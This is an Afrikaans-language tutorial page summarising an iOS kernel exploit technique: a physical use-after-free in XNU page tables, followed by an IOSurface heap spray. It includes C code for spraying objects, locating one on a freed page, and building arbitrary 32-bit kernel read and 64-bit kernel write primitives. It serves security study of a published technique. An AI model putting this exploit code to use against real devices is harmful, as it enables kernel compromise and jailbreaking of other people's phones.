iOS Exploiting
Reading time: 7 minutes
Fisiese gebruik-na-vry
Dit is 'n opsomming van die pos van https://alfiecg.uk/2024/09/24/Kernel-exploit.html verder kan meer inligting oor die ontginning met hierdie tegniek gevind word in https://github.com/felix-pb/kfd
Geheuebestuur in XNU
Die virtuele geheue-adresruimte vir gebruikersprosesse op iOS strek van 0x0 tot 0x8000000000. Hierdie adresse is egter nie direk aan fisiese geheue gekoppel nie. In plaas daarvan gebruik die kernel bladsytabelle om virtuele adresse in werklike fisiese adresse te vertaal.
Vlakke van Bladsytabelle in iOS
Bladsytabelle is hiërargies georganiseer in drie vlakke:
- L1 Bladsy Tabel (Vlak 1):
- Elke inskrywing hier verteenwoordig 'n groot reeks van virtuele geheue.
- Dit dek 0x1000000000 bytes (of 256 GB) van virtuele geheue.
- L2 Bladsy Tabel (Vlak 2):
- 'n Inskrywing hier verteenwoordig 'n kleiner streek van virtuele geheue, spesifiek 0x2000000 bytes (32 MB).
- 'n L1 inskrywing kan na 'n L2 tabel verwys as dit nie die hele streek self kan kaart nie.
- L3 Bladsy Tabel (Vlak 3):
- Dit is die fynste vlak, waar elke inskrywing 'n enkele 4 KB geheuebladsy kaart.
- 'n L2 inskrywing kan na 'n L3 tabel verwys as meer fyn beheer nodig is.
Kaarting van Virtuele na Fisiese Geheue
- Direkte Kaarting (Blok Kaarting):
- Sommige inskrywings in 'n bladsy tabel kaart direk 'n reeks van virtuele adresse na 'n aaneengeskakelde reeks van fisiese adresse (soos 'n kortpad).
- Wys na Kind Bladsy Tabel:
- As fynere beheer nodig is, kan 'n inskrywing in een vlak (bv. L1) na 'n kind bladsy tabel op die volgende vlak (bv. L2) verwys.
Voorbeeld: Kaarting van 'n Virtuele Adres
Kom ons sê jy probeer om die virtuele adres 0x1000000000 te benader:
- L1 Tabel:
- Die kernel kyk na die L1 bladsy tabel inskrywing wat ooreenstem met hierdie virtuele adres. As dit 'n wys na 'n L2 bladsy tabel het, gaan dit na daardie L2 tabel.
- L2 Tabel:
- Die kernel kyk na die L2 bladsy tabel vir 'n meer gedetailleerde kaarting. As hierdie inskrywing na 'n L3 bladsy tabel verwys, gaan dit daarheen.
- L3 Tabel:
- Die kernel soek die finale L3 inskrywing, wat na die fisiese adres van die werklike geheuebladsy verwys.
Voorbeeld van Adres Kaarting
As jy die fisiese adres 0x800004000 in die eerste indeks van die L2 tabel skryf, dan:
- Virtuele adresse van 0x1000000000 tot 0x1002000000 kaart na fisiese adresse van 0x800004000 tot 0x802004000.
- Dit is 'n blok kaarting op die L2 vlak.
Alternatiewelik, as die L2 inskrywing na 'n L3 tabel verwys:
- Elke 4 KB bladsy in die virtuele adres reeks 0x1000000000 -> 0x1002000000 sal deur individuele inskrywings in die L3 tabel gekaart word.
Fisiese gebruik-na-vry
'n Fisiese gebruik-na-vry (UAF) gebeur wanneer:
- 'n Proses toewys 'n bietjie geheue as leesbaar en skryfbaar.
- Die bladsytabelle word opgedateer om hierdie geheue na 'n spesifieke fisiese adres te kaart wat die proses kan benader.
- Die proses deallocate (vry) die geheue.
- Maar, as gevolg van 'n fout, vergeet die kernel om die kaarting uit die bladsytabelle te verwyder, alhoewel dit die ooreenstemmende fisiese geheue as vry merk.
- Die kernel kan dan hertoewys hierdie "vrygemaakte" fisiese geheue vir ander doeleindes, soos kernel data.
- Aangesien die kaarting nie verwyder is nie, kan die proses steeds lees en skryf na hierdie fisiese geheue.
Dit beteken die proses kan toegang verkry tot bladsye van kernel geheue, wat sensitiewe data of strukture kan bevat, wat moontlik 'n aanvaller in staat stel om kernel geheue te manipuleer.
Ontginning Strategie: Heap Spray
Aangesien die aanvaller nie kan beheer watter spesifieke kernel bladsye aan vrygemaakte geheue toegeken sal word nie, gebruik hulle 'n tegniek genaamd heap spray:
- Die aanvaller skep 'n groot aantal IOSurface-objekte in kernel geheue.
- Elke IOSurface-objek bevat 'n magiese waarde in een van sy velde, wat dit maklik maak om te identifiseer.
- Hulle skandeer die vrygemaakte bladsye om te sien of enige van hierdie IOSurface-objekte op 'n vrygemaakte bladsy beland het.
- Wanneer hulle 'n IOSurface-objek op 'n vrygemaakte bladsy vind, kan hulle dit gebruik om te lees en te skryf na kernel geheue.
Meer inligting hieroor in https://github.com/felix-pb/kfd/tree/main/writeups
Stap-vir-Stap Heap Spray Proses
- Spuit IOSurface-objekte: Die aanvaller skep baie IOSurface-objekte met 'n spesiale identifiseerder ("magiese waarde").
- Skandeer Vrygemaakte Bladsye: Hulle kyk of enige van die objekke op 'n vrygemaakte bladsy toegeken is.
- Lees/Skryf Kernel Geheue: Deur velde in die IOSurface-objek te manipuleer, verkry hulle die vermoë om arbitraire lees en skryf in kernel geheue uit te voer. Dit laat hulle toe:
- Gebruik een veld om enige 32-bit waarde in kernel geheue te lees.
- Gebruik 'n ander veld om 64-bit waardes te skryf, wat 'n stabiele kernel lees/skryf primitief bereik.
Genereer IOSurface-objekte met die magiese waarde IOSURFACE_MAGIC om later te soek:
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
Soek na IOSurface
-objekte in een vrygemaakte fisiese bladsy:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
Bereik Kernel Lees/Skryf met IOSurface
Na die verkryging van beheer oor 'n IOSurface objek in kernel geheue (gemap na 'n vrygestelde fisiese bladsy wat vanaf gebruikersruimte toeganklik is), kan ons dit gebruik vir arbitraire kernel lees en skryf operasies.
Belangrike Velde in IOSurface
Die IOSurface objek het twee belangrike velde:
- Gebruik Tel Punter: Laat 'n 32-bis lees toe.
- Geverifieerde Tydstempel Punter: Laat 'n 64-bis skryf toe.
Deur hierdie punters te oorskryf, herlei ons hulle na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.
32-Bit Kernel Lees
Om 'n lees uit te voer:
- Oorskryf die gebruik tel punter om na die teikenadres minus 'n 0x14-byt offset te wys.
- Gebruik die
get_use_count
metode om die waarde by daardie adres te lees.
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
64-Bit Kernel Skryf
Om 'n skryf te doen:
- Oorskryf die geïndekseerde tydstempel-aanwyser na die teikenadres.
- Gebruik die
set_indexed_timestamp
metode om 'n 64-bit waarde te skryf.
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
Exploit Flow Recap
- Trigger Physical Use-After-Free: Vrye bladsye is beskikbaar vir hergebruik.
- Spray IOSurface Objects: Allokeer baie IOSurface-objekte met 'n unieke "magic value" in die kerngeheue.
- Identify Accessible IOSurface: Vind 'n IOSurface op 'n vrygemaakte bladsy wat jy beheer.
- Abuse Use-After-Free: Wysig wysers in die IOSurface-objek om arbitrêre kern lees/schryf via IOSurface-metodes moontlik te maak.
Met hierdie primitiewe bied die exploit beheerde 32-bit lees en 64-bit skryf na kerngeheue. Verdere jailbreak-stappe kan meer stabiele lees/schryf primitiewe behels, wat dalk die omseiling van addisionele beskermings mag vereis (bv. PPL op nuwer arm64e toestelle).